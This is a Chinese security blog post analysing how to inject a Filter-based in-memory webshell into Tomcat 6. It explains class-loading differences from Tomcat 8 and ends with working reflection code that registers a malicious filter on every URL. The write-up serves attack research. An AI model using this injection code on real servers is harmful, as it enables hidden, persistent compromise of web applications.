Java安全之Tomcat6 Filter内存马问题
作者:Zh1z3ven
回顾Tomcat8打法
先回顾下之前Tomcat789的打法
这里先抛开 7 8之间的区别, 在8中,最后add到filterchain的都是一个filterconfig对象
ApplicationFilterConfig
包含了FilterDef
对象
构造方法如下,如果当前filter属性为null会从FilterDef
取filter的实例对象
ApplicationFilterConfig(Context context, FilterDef filterDef) throws ClassCastException, ClassNotFoundException, IllegalAccessException, InstantiationException, ServletException, InvocationTargetException, NamingException, IllegalArgumentException, NoSuchMethodException, SecurityException { this.context = context; this.filterDef = filterDef; if (filterDef.getFilter() == null) { this.getFilter(); } else { this.filter = filterDef.getFilter(); this.getInstanceManager().newInstance(this.filter); this.initFilter(); } }
FilterDef
中存储了filterClass
/ filterName
/ filter
属性
public class FilterDef implements Serializable { private static final long serialVersionUID = 1L; private static final StringManager sm; private String description = null; private String displayName = null; private transient Filter filter = null; private String filterClass = null; private String filterName = null; private String largeIcon = null; private final Map<String, String> parameters = new HashMap(); private String smallIcon = null; private String asyncSupported = null; public FilterDef() { }
再有就是createFilterChain
中还涉及到filterMap
FilterMap
里主要存放urlpatterner和filterName的映射
public class FilterMap extends XmlEncodingBase implements Serializable { private static final long serialVersionUID = 1L; public static final int ERROR = 1; public static final int FORWARD = 2; public static final int INCLUDE = 4; public static final int REQUEST = 8; public static final int ASYNC = 16; private static final int NOT_SET = 0; private int dispatcherMapping = 0; private String filterName = null; private String[] servletNames = new String[0]; private boolean matchAllUrlPatterns = false; private boolean matchAllServletNames = false; private String[] urlPatterns = new String[0];
tomcat8下注入filter内存马流程如下:
- FilterDef: 设置
setFilter(Filter filter)
setFilterName(String filterName)
setFilterClass(String filterClass)
这里filterName和filterClass应该不是一个东西,最后调用StandardContext#addFilterDef
将该恶意filterdef put到this.filterDefs
- FilterMap:
addURLPattern("/*")
setFilterName(String filterName)
setDispatcher(DispatcherType.REQUEST.name())
,最后调用StandardContext#addFilterMapBefore(filtermap)
添加到this.filterMaps
中 - ApplicationFilterConfig: 调用有参构造将
FilterDef
作为参数传递进去后调有参构造实例化一个ApplicationFilterConfig
,最终put进standardcontext的属性里去。
探索Tomcat6与Tomcat8之间的区别
主要看下tomcat6和tomcat8之间createFilterChain
不相同的地方 看到ApplicationFilterFactory#createFilterChain
跟进getFilter
主要代码如下:
所以这里构造filterDef
的时候filterClass
为evilfilter的全类名即可
再来看下FilterDef
可以发现确实在Tomcat6下面没有filter
这个属性了
所以一个很大的区别就是在getFilter
方法,也就是获取filter
实例对象的逻辑:
Tomcat8中是通过filterDef
的属性filter
值来拿到 恶意filter实例
Tomcat6中是通过filterDef
的属性filterClass
属性作为类名,通过ClassLoader去实例化
这里当我们调用有参构造实例化ApplicationFilterConfig
时,会进入getFilter
方法逻辑内
重点看loadClass方法是否可以加载到我们的恶意filter,因为这个filter并不是真实存在,且我们也只是通过了当前线程去defineClass的
跟进WebappClassLoader#loadClass
看到this.findLoadedClass0(name)
从resourceEntries也就是classes下各个包中的.class找,是否有这个类,有的话直接return 这个entry的loadClass属性
这个属性存储的是该类的class对象,如果这里面有该类名,后面就直接resovleClass了
这里肯定是没有我们的恶意filter,继续往下跟
后面直接调用java.lang.ClassLoader#findLoadedClass
来通过ClassLoader去找是否已经加载过该class了
而在这里是直接找到了
查阅开发资料并思考了一下:
这里因为我们之前是通过当前线程上下文加载器把恶意filter给loadClass
了,所以这里就是可以找到的
后面随手翻了下classloader
的属性,发现在classes
属性是存在该filter的class的
那么正好来debug一下当前线程上下文ClassLoader#loadClass
的过程
可以看到当前上下文的ClassLoader就是WebappClassLoader
,并且此时classes
属性里并没有我们的恶意类
而当步过defineClass后,当前线程上下文ClassLoader也就是WebappClassLoader
的classes
属性中就新增了我们的恶意filter的class
所以后续在getFilter
的逻辑中也是可以成功通过
回溯上面的逻辑时,getFilter
方法因为会走到这个else逻辑内,所以最终也是通过WebappClassLoader#loadClass
的我们的恶意filter
以上,所以因为我们前面调用的是Thread.currentThread().getContextClassLoader()
去加载的我们恶意filter类,而tomcat6中getFilter
逻辑是通过this.context.getLoader().getClassLoader();
去findClass,而这两个ClassLoader又同为WebappClassLoader
所以不会存在ClassNotfound
的问题。 所以tomcat6中注入filter内存马就不需要先实例化恶意filter存到filterDef中,直接使用Thread.currentThread().getContextClassLoader()
去defineClass
一下恶意filter即可。
注入内存马的主要代码如下:
Method var1 = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, Integer.TYPE, Integer.TYPE); var1.setAccessible(true); byte[] var2 = base64decode("base64 str"); var1.invoke(Thread.currentThread().getContextClassLoader(), var2, 0, var2.length); try { if (STANDARDCONTET != null) { // 1 反射获取filterDef Class FilterDefClass = Class.forName("org.apache.catalina.deploy.FilterDef"); Constructor FilterDefconstructor = FilterDefClass.getConstructor(new Class[]{}); Object filterDef = FilterDefconstructor.newInstance(); // 2 设置filtername Method setFilterNameMethod = FilterDefClass.getDeclaredMethod("setFilterName", String.class); setFilterNameMethod.invoke(filterDef,filterName); // 3 setFilterClass Method setFilterClassMethod = FilterDefClass.getDeclaredMethod("setFilterClass", String.class); setFilterClassMethod.invoke(filterDef,Thread.currentThread().getContextClassLoader().loadClass("HiganbanaFilter").getName()); // 4 addFilterDef Method addFilterDef=STANDARDCONTET.getClass().getMethod("addFilterDef", FilterDefClass); addFilterDef.invoke(STANDARDCONTET,filterDef); // 构造FilterMap Class FilterMapClass = Class.forName("org.apache.catalina.deploy.FilterMap"); Object filterMap = FilterMapClass.newInstance(); Method setFilterNameMethod2 = FilterMapClass.getDeclaredMethod("setFilterName", String.class); setFilterNameMethod2.invoke(filterMap,FilterDefClass.getDeclaredMethod("getFilterName").invoke(filterDef)); Method setDispatcherMethod = FilterMapClass.getDeclaredMethod("setDispatcher", String.class); setDispatcherMethod.invoke(filterMap,"REQUEST"); Method addURLPatternMethod = FilterMapClass.getDeclaredMethod("addURLPattern", String.class); addURLPatternMethod.invoke(filterMap,"/*"); Method addFilterMapMethod=STANDARDCONTET.getClass().getDeclaredMethod("addFilterMap", FilterMapClass); addFilterMapMethod.invoke(STANDARDCONTET,filterMap); // 创建filterconfig 并添加到standardcontext.filterconfigs数组里 Class filterConfigClass = Class.forName("org.apache.catalina.core.ApplicationFilterConfig"); Constructor filterConfigCon = filterConfigClass.getDeclaredConstructor(Class.forName("org.apache.catalina.Context"), Class.forName("org.apache.catalina.deploy.FilterDef")); filterConfigCon.setAccessible(true); // 实例化ApplicationFilterConfig时触发getFilter方法 Object filterConfigObj = filterConfigCon.newInstance(STANDARDCONTET, filterDef); Field filterConfigsField = STANDARDCONTET.getClass().getDeclaredField("filterConfigs"); filterConfigsField.setAccessible(true); HashMap filterConfigsMap = (HashMap) filterConfigsField.get(STANDARDCONTET); filterConfigsMap.put(filterName, filterConfigObj); } } catch (Throwable var16) { var16.printStackTrace(); }
到此这篇关于Java安全之Tomcat6 Filter内存马的文章就介绍到这了,更多相关java tomcat6 filter内存马内容请搜索脚本之家以前的文章或继续浏览下面的相关文章希望大家以后多多支持脚本之家!